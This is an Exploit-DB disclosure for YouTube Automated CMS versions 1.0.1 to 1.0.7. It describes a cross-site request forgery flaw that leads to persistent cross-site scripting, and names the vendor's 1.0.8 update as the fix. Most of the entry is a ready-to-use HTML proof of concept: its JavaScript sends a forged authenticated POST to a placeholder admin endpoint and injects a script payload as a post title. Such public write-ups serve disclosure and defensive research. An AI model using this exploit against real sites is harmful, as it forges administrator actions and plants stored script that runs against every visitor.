Exploit-DB #40534
Description: YouTube Automated CMS 1.0.7 - Cross-Site Request Forgery / Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2016-10-14
Author: Arbin Godar

Exploit:
# Exploit Title: YouTube Automated CMS 1.0.1 / 1.0.7 - CSRF to Persistent XSS
# Date: 14 October 2016
# Exploit Author: Arbin Godar
# Website : ArbinGodar.com
# Software Link: https://codecanyon.net/item/youtube-automated-cms/12021939
# Version: 1.0.1 to 1.0.7

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Description:
An Attackers are able to execute js and perform CSRF on web
application using YouTube Automated CMS which allow an attacker to
create a post when an authenticated user/admin browses a special
crafted web page. All the process was also possible without any
authenticated user/admin for more info watch the below PoC Video.

The title parameter was not filtering special characters mean
vulnerable to XSS. So, now by creating CSRF exploit code for posting
an article with XSS alert JS payload as title of post. Now if the
attacker is able to perform CSRF attack sucessfully then XSS will be
triggered when someone opens the site using YouTube Automated CMS.

CSRF Exploit Code: 

<html>
  <body>
   <title>[Youtube Automated CMS] CSRF to Persistent XSS</title>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://victim.com/admin/videos.php?case=add&youtube_video_url=https://sophosnews.files.wordpress.com/2016/02/anonymous.jpg", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=--------------------------[PII_REDACTED]736");
        xhr.withCredentials = true;
        var body = "----------------------------[PII_REDACTED]736\r\n" + 
          "Content-Disposition: form-data; name=\"title\"\r\n" + 
          "\r\n" + 
          "\"\x3e\x3cscript\x3ealert(/XSSed-By-Arbin/)\x3c/script\x3e\r\n" + 
          "----------------------------[PII_REDACTED]736\r\n" + 
          "Content-Disposition: form-data; name=\"details\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "----------------------------[PII_REDACTED]736\r\n" + 
          "Content-Disposition: form-data; name=\"category_id\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "----------------------------[PII_REDACTED]736\r\n" + 
          "Content-Disposition: form-data; name=\"thumbnail\"; filename=\"\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "----------------------------[PII_REDACTED]736\r\n" + 
          "Content-Disposition: form-data; name=\"published\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "----------------------------[PII_REDACTED]736\r\n" + 
          "Content-Disposition: form-data; name=\"duration\"\r\n" + 
          "\r\n" + 
          "70\r\n" + 
          "----------------------------[PII_REDACTED]736\r\n" + 
          "Content-Disposition: form-data; name=\"image\"\r\n" + 
          "\r\n" + 
          "https://sophosnews.files.wordpress.com/2016/02/anonymous.jpg\r\n" + 
          "----------------------------[PII_REDACTED]736\r\n" + 
          "Content-Disposition: form-data; name=\"submit\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "----------------------------[PII_REDACTED]736--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <br><br><br>
    <center>
    <h2><font color="red">[Youtube Automated CMS] CSRF to Persistent XSS by Arbin</font></h2>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </center>
  </body>
</html>

PoC Video: https://youtu.be/cCtThSquNSk

Vendor Shouted Urgent Update:
http://wpsup.com/products/youtube-automated-cms/urgent-update-1-0-8-fix-security-bugs/

Fix/Patch: Update to latest version.

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Regards,
Arbin Godar
https://twitter.com/arbingodar